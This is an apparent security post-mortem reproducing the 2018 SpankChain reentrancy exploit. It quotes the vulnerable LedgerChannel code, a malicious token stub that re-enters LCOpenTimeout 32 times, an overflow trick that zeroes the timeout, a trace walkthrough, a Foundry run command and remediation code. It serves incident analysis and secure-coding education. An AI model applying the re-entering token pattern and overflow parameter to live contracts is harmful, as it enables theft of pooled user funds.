Reproduced Exploit
SpankChain Exploit — Classic Reentrancy in `LedgerChannel.LCOpenTimeout()`
LedgerChannel is a generalized state-channel contract. createChannel() lets a party (Alice) open a channel by depositing ETH and/or an ERC20 token of her own choosing — the token address is just a constructor argument. If the counterparty never joins, Alice can reclaim her deposit after a timeout v…
Loss
155 ETH net profit (160 ETH drained, 5 ETH self-seed returned). Public reports of the live 2018 hack cite ~$3…
Chain
Ethereum
Category
Reentrancy
Date
Oct 2018
Source & credit. Exploit reproduction, trace data, and analysis adapted from DeFiHackLabs by SunWeb3Sec — an open registry of reproduced on-chain exploits. Standalone Foundry PoC and full write-up: 2018-10-SpankChain_exp in the
evm-hack-registrymirror. Upstream DeFiHackLabs PoC:src/test/…/SpankChain_exp.sol.
Vulnerability classes: vuln/reentrancy/cross-function · vuln/logic/incorrect-order-of-operations
One-line summary: the payment-channel contract refunds a self-deposited channel via an attacker-controlled token whose
transfer()re-entersLCOpenTimeout()before state is deleted, letting the attacker reclaim the same 5-ETH deposit 32 times and drain the contract.
Reproduction: the PoC compiles & runs in an isolated Foundry project at this project folder (the umbrella DeFiHackLabs repo contains many unrelated PoCs that do not whole-compile, so this one was extracted). Full verbose trace: output.txt. Verified vulnerable source: sources/LedgerChannel_f91546/LedgerChannel.sol.
Key info#
| Loss (PoC, this fork) | 155 ETH net profit (160 ETH drained, 5 ETH self-seed returned). Public reports of the live 2018 hack cite ~$38K / ~40 ETH from the production pool. |
| Vulnerable contract | LedgerChannel — 0xf91546835f756DA0c10cFa0CDA95b15577b84aA7 |
| Victim | SpankChain "Ledger Channel" payment-channel hub (Camshow/SpankPay state channels) |
| Attacker EOA | 0xcf267eA3f1ebae3C29feA0A3253F94F3122C2199 |
| Attacker contract | 0xc5918a927C4FB83FE99E30d6F66707F4b396900E |
| Attack tx | 0x21e9d20b57f6ae60dac23466c8395d47f42dc24628e5a31f224567a2b4effa88 |
| Chain / fork block / date | Ethereum mainnet / 6,467,247 (forked from 6,467,248 − 1) / October 2018 |
| Compiler | Solidity v0.4.24+commit.e67f0147, optimizer enabled (500 runs) — per _meta.json |
| Bug class | Reentrancy (state-mutation-after-external-call) via a caller-supplied malicious ERC20 token |
TL;DR#
LedgerChannel is a generalized state-channel contract. createChannel() lets a party (Alice)
open a channel by depositing ETH and/or an ERC20 token of her own choosing — the token address
is just a constructor argument. If the counterparty never joins, Alice can reclaim her deposit
after a timeout via LCOpenTimeout().
LCOpenTimeout() performs two external transfers and only then deletes the channel state
(LedgerChannel.sol:412-427):
function LCOpenTimeout(bytes32 _lcID) public {
require(msg.sender == Channels[_lcID].partyAddresses[0] && Channels[_lcID].isOpen == false);
require(now > Channels[_lcID].LCopenTimeout);
if(Channels[_lcID].initialDeposit[0] != 0) {
Channels[_lcID].partyAddresses[0].transfer(Channels[_lcID].ethBalances[0]); // (1) ETH out
}
if(Channels[_lcID].initialDeposit[1] != 0) {
require(Channels[_lcID].token.transfer(...)); // (2) external call into ATTACKER's token
}
emit DidLCClose(...);
delete Channels[_lcID]; // (3) state cleared LAST — too late
}
The attacker opens a channel where _token = <the attacker contract itself>. The token's
transfer() is a stub that calls LCOpenTimeout() again. Because the channel struct is still
fully populated at step (2), each re-entrant call passes both requires and ships another 5 ETH
out at step (1). The PoC recurses 32 levels deep, draining 32 × 5 = 160 ETH, then the call stack
unwinds and the delete finally fires 32 times against an already-emptied channel.
Two enabling tricks make this a single self-contained transaction:
LCopenTimeoutis forced to 0 via integer overflow._confirmTime = type(uint256).max - block.timestamp + 1, sonow + _confirmTimewraps to0in unchecked 0.4.24 arithmetic, makingrequire(now > LCopenTimeout)trivially true in the same block the channel was created — no waiting required.- The ETH refund uses
.transfer()(2300 gas) which cannot reenter, but the token refund uses a full external call which can. The reentrancy lives entirely on the token path.
Background — what the contract does#
LedgerChannel (source) is SpankChain's on-chain
settlement layer for off-chain payment channels ("Ledger Channels", LC) and nested "Virtual
Channels" (VC). The relevant lifecycle for this bug:
createChannel(_lcID, _partyI, _confirmTime, _token, _balances)(:372-410) — Alice (partyA = msg.sender) opens a channel against hub Ingrid (partyI). She deposits_balances[0]ETH (must matchmsg.value) and_balances[1]tokens of the ERC20 at_token.LCopenTimeoutis set tonow + _confirmTime. The channel is not yet open (isOpen == false) until Ingrid joins.LCOpenTimeout(_lcID)(:412-427) — escape hatch: if Ingrid never joins, Alice reclaims her deposit after the timeout. Refunds ETH then tokens, thendeletes the channel.
Critically, the token contract is whatever Alice passed in — there is no allowlist. The
contract treats Channels[_lcID].token.transfer(...) as a trusted, side-effect-free ERC20 call.
It is neither.
The on-chain state the PoC creates (read directly from the createChannel storage diff in
output.txt lines 31-39):
| Slot field | Value |
|---|---|
partyAddresses[0] (partyA) | the attacker helper 0x5615…b72f |
partyAddresses[1] (partyI) | the test/EOA 0x7FA9…1496 |
ethBalances[0] (balanceA) | 0x4563918244f40000 = 5 ETH |
initialDeposit[0] (eth) | 5 ETH |
initialDeposit[1] (token) | 1 (non-zero ⇒ token branch executes) |
token | the attacker helper (== partyA) |
LCopenTimeout | 0xffff…a446aa48 then read as expired (overflowed) |
The vulnerable code#
1. The refund-then-delete ordering (LCOpenTimeout)#
sources/LedgerChannel_f91546/LedgerChannel.sol:412-427:
function LCOpenTimeout(bytes32 _lcID) public {
require(msg.sender == Channels[_lcID].partyAddresses[0] && Channels[_lcID].isOpen == false);
require(now > Channels[_lcID].LCopenTimeout);
if(Channels[_lcID].initialDeposit[0] != 0) {
Channels[_lcID].partyAddresses[0].transfer(Channels[_lcID].ethBalances[0]); // ETH refund
}
if(Channels[_lcID].initialDeposit[1] != 0) {
require(
Channels[_lcID].token.transfer( // ⚠️ external call into attacker code
Channels[_lcID].partyAddresses[0],
Channels[_lcID].erc20Balances[0]
),
"CreateChannel: token transfer failure"
);
}
emit DidLCClose(_lcID, 0, Channels[_lcID].ethBalances[0], Channels[_lcID].erc20Balances[0], 0, 0);
// only safe to delete since no action was taken on this channel
delete Channels[_lcID]; // ⚠️ state mutation AFTER both external calls — violates CEI
}
The developer comment "only safe to delete since no action was taken on this channel" shows the
author reasoned about the channel's logical state but not about reentrancy: nothing prevents the
function from being re-entered before the delete runs.
2. The deposit accepts an arbitrary token (createChannel)#
sources/LedgerChannel_f91546/LedgerChannel.sol:396-400:
if(_balances[1] != 0) {
Channels[_lcID].token = HumanStandardToken(_token); // attacker-chosen address
require(Channels[_lcID].token.transferFrom(msg.sender, this, _balances[1]),
"CreateChannel: token transfer failure");
Channels[_lcID].erc20Balances[0] = _balances[1];
}
The token is cast from _token with zero validation. In the PoC the attacker passes its own
contract, whose transferFrom returns true without moving anything and whose transfer
re-enters.
3. The attacker's weaponized token (the PoC helper)#
test/SpankChain_exp.sol:87-97:
function transfer(address recipient, uint256 amount) public returns (bool) {
if (count < limit) { // limit = 32
count = count + 1;
spankChain.LCOpenTimeout(hex"4e03657aea45a94fc7d47ba826c8d667c0d1e6e33a64a036ec44f58fa12d6c45");
}
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
return true; // no-op so createChannel's transferFrom succeeds
}
Root cause#
A textbook state-mutation-after-external-call (reentrancy) bug, made exploitable because the contract trusts a caller-supplied ERC20.
Concretely, four design decisions compose into the drain:
- Checks-Effects-Interactions is violated.
LCOpenTimeoutperforms its two refund transfers beforedelete Channels[_lcID]. The guardrequire(isOpen == false)andrequire(msg.sender == partyA)are both still satisfiable on re-entry because the channel state is untouched until the very end. - The token is attacker-controlled.
createChannelaccepts any_tokenaddress. The.token.transfer()at the end ofLCOpenTimeoutis therefore an external call into arbitrary attacker code — the perfect reentrancy hook. (The ETH refund just above it is safe only by accident, because.transfer()forwards 2300 gas.) - No reentrancy guard. There is no
nonReentrantmodifier anywhere in the contract; nestedLCOpenTimeoutcalls are accepted. - The timeout can be set to the past via overflow.
LCopenTimeout = now + _confirmTimewith_confirmTime = type(uint256).max - now + 1wraps to0(no SafeMath in 0.4.24), sorequire(now > 0)passes immediately — the attacker need not wait out any real confirmation window. The trace recordsLCopenTimeout: 0in theDidLCOpenevent (output.txt:30).
The "effect" that should have made re-entry impossible — clearing ethBalances[0] /
initialDeposit / the whole struct — happens one statement too late.
Preconditions#
- Attacker deploys a contract that doubles as (a)
partyAand (b) the channel's ERC20token, whosetransfer()re-entersLCOpenTimeoutand whosetransferFrom()returnstrue. - Attacker calls
createChannelwith_balances = [5 ETH, 1](non-zero token balance so the token branch runs) and_confirmTime = type(uint256).max − now + 1so the timeout overflows to 0. - The
LedgerChannelcontract must hold enough ETH (from other honest channels' deposits) to satisfy the repeated 5-ETH refunds. In the PoC this headroom is supplied byvm.deal+ the fork state; on mainnet it was the pooled liquidity of real SpankChain channels. - Working capital is just the single 5-ETH deposit, fully recovered intra-transaction → effectively flash-loanable (the PoC models this with a 5-ETH seed that is "repaid" at the end: test/SpankChain_exp.sol:55-58).
Step-by-step attack walkthrough#
All values are taken directly from output.txt. Storage slot @ 2 is the helper's
count; the channel struct lives under the 0x1e32… keccak slots.
| # | Action | Trace evidence | Effect |
|---|---|---|---|
| 0 | Test seeds itself 5 ETH ("flashloan"), deploys helper, calls exploit{value:5e18}(32) | output.txt:19-26 | limit = 32, helper funded |
| 1 | createChannel{value:5 ETH}(lcID, partyI, max−now+1, helper, [5e18, 1]) | output.txt:27 | Channel created: balanceA = 5 ETH, token = helper, LCopenTimeout overflows to 0 |
| 1a | Inside createChannel: helper.transferFrom(...) returns true (no-op) | output.txt:28-29 | Token "deposit" of 1 accepted without moving funds |
| 1b | emit DidLCOpen(... LCopenTimeout: 0) | output.txt:30 | Confirms timeout already in the past |
| 2 | LCOpenTimeout(lcID) — outer call | output.txt:41 | Enters refund path |
| 2a | ETH refund: partyA.transfer(5 ETH) → helper fallback (2300 gas, no-op) | output.txt:42-43 | 5 ETH leaves contract; cannot reenter (gas-limited) |
| 2b | Token refund: helper.transfer(partyA, 1) → re-enters LCOpenTimeout | output.txt:44-45 | ⚠️ recursion begins; count 1→2 |
| 3 | Steps 2a-2b repeat at each nesting level, 32 times total | output.txt:46-168 | Each level ships another 5 ETH before any delete |
| 4 | Deepest call: count == limit (32), helper.transfer no longer recurses, returns true | output.txt:168-169 | Recursion bottoms out |
| 5 | Stack unwinds: 32× emit DidLCClose(... all zero) + delete Channels | output.txt:170-335 | Channel cleared 32 times against already-zeroed state — harmless now |
| 6 | Helper forwards entire balance to test contract: fallback{value:160 ETH} | output.txt:336 | 160 ETH = 32 × 5 ETH delivered to attacker |
| 7 | Test "repays" 5 ETH flashloan to address(0) | output.txt:341 | Net pocketed = 160 − 5 = 155 ETH |
Note in step 1: the storage diff at output.txt:36-38 shows
ethBalances[0] = 0x4563918244f40000 (5 ETH) and initialDeposit[1] = 1 — these are exactly the
two non-zero fields that drive the ETH-refund branch and the token-refund (reentrancy) branch.
Why exactly 32× and 5 ETH each#
The helper's count starts at 1 and recurses only while count < limit (32), producing 32 total
LCOpenTimeout frames. Every frame re-reads the still-unmodified ethBalances[0] = 5 ETH and
.transfers it, because delete has not yet executed in any ancestor frame. So the contract pays
out the same 5-ETH deposit 32 times: 32 × 5 = 160 ETH. The trace's final
fallback{value: 160000000000000000000} (output.txt:336) and
Attacker After exploit ETH Balance: 155.000… log (output.txt:7, 343)
confirm both numbers to the wei.
Profit / loss accounting (ETH)#
| Direction | Amount |
|---|---|
| In — attacker's own deposit (the "flashloaned" seed) | 5 |
Out — LedgerChannel refunds, 32 × 5 ETH | 160 |
| Less — repay the 5-ETH seed | −5 |
| Net profit | +155 |
Before exploit: attacker ETH = 0 (output.txt:6)
After exploit: attacker ETH = 155.000000 (output.txt:7, 343)
The 160 ETH was drained from the pooled deposits of honest SpankChain channels held by the
LedgerChannel contract — only one 5-ETH deposit was ever genuinely the attacker's.
Diagrams#
Sequence of the attack#
Control flow inside LCOpenTimeout (why re-entry succeeds)#
Contract ETH balance vs. attacker payout#
Remediation#
-
Apply Checks-Effects-Interactions. Zero out /
deletethe channel state before making any refund transfer:function LCOpenTimeout(bytes32 _lcID) public { require(msg.sender == Channels[_lcID].partyAddresses[0] && !Channels[_lcID].isOpen); require(now > Channels[_lcID].LCopenTimeout); uint256 ethRefund = Channels[_lcID].ethBalances[0]; uint256 tokenRefund = Channels[_lcID].erc20Balances[0]; bool hasEth = Channels[_lcID].initialDeposit[0] != 0; bool hasToken = Channels[_lcID].initialDeposit[1] != 0; HumanStandardToken token = Channels[_lcID].token; address payee = Channels[_lcID].partyAddresses[0]; delete Channels[_lcID]; // EFFECTS first emit DidLCClose(_lcID, 0, ethRefund, tokenRefund, 0, 0); if (hasEth) payee.transfer(ethRefund); // INTERACTIONS last if (hasToken) require(token.transfer(payee, tokenRefund)); } -
Add a reentrancy guard. A
nonReentrantmutex on every external-call-bearing function (LCOpenTimeout,consensusCloseChannel,byzantineCloseChannel) would have blocked the nested calls regardless of statement ordering. (NotebyzantineCloseChannelcarefully zeroes balances before transferring — see :782-790 — so the author understood CEI elsewhere but missed it here.) -
Do not trust caller-supplied token contracts as side-effect-free. Any call into an arbitrary ERC20 is an external call into untrusted code. Treat
token.transfer/transferFromexactly like a low-level call for reentrancy purposes, or restrict channels to an allowlisted set of tokens. -
Validate
_confirmTime/ use checked arithmetic. Reject absurd_confirmTimevalues and use SafeMath (or compile with ≥0.8 checked arithmetic) sonow + _confirmTimecannot wrap to a past timestamp.
How to reproduce#
The PoC was extracted into a standalone Foundry project (the umbrella DeFiHackLabs repo has many
unrelated PoCs that fail to compile under a whole-project forge build):
_shared/run_poc.sh 2018-10-SpankChain_exp -vvvvv
- RPC: an Ethereum mainnet archive endpoint is required (fork block
6,467,247, from 2018). Most pruned public RPCs will fail withheader not found/missing trie nodeat this height. - Result:
[PASS] testExploit()with the attacker ending on 155 ETH.
Expected tail (output.txt:3-7, 346-348):
Ran 1 test for test/SpankChain_exp.sol:SpankChainExploit
[PASS] testExploit() (gas: 1122808)
Logs:
Attacker Before exploit ETH Balance: 0.000000000000000000
Attacker After exploit ETH Balance: 155.000000000000000000
...
Suite result: ok. 1 passed; 0 failed; 0 skipped
Reference: SpankChain payment-channel reentrancy, Ethereum mainnet, October 2018. The live incident was widely reported (~$38K drained from the LedgerChannel hub plus a frozen BOOTY-token pool); this PoC reproduces the exact reentrancy mechanic against the verified on-chain bytecode and nets 155 ETH at the chosen fork block.
Sources & further analysis#
Reproductions & code
- Standalone PoC + full trace: 2018-10-SpankChain_exp (evm-hack-registry mirror).
- Upstream DeFiHackLabs PoC:
SpankChain_exp.sol. - Attack transaction: view on explorer.
Alerts & third-party analyses
- DeFiHackLabs incident explorer: search "SpankChain Exploit".
- Web3Sec X hacked database: search.
- Rekt leaderboard: search.
- Solodit incident search: search.
These dashboards index community alerts tweets, post-mortems, and independent write-ups. Reach them through the protocol name above to cross-check this reproduction against other analyses.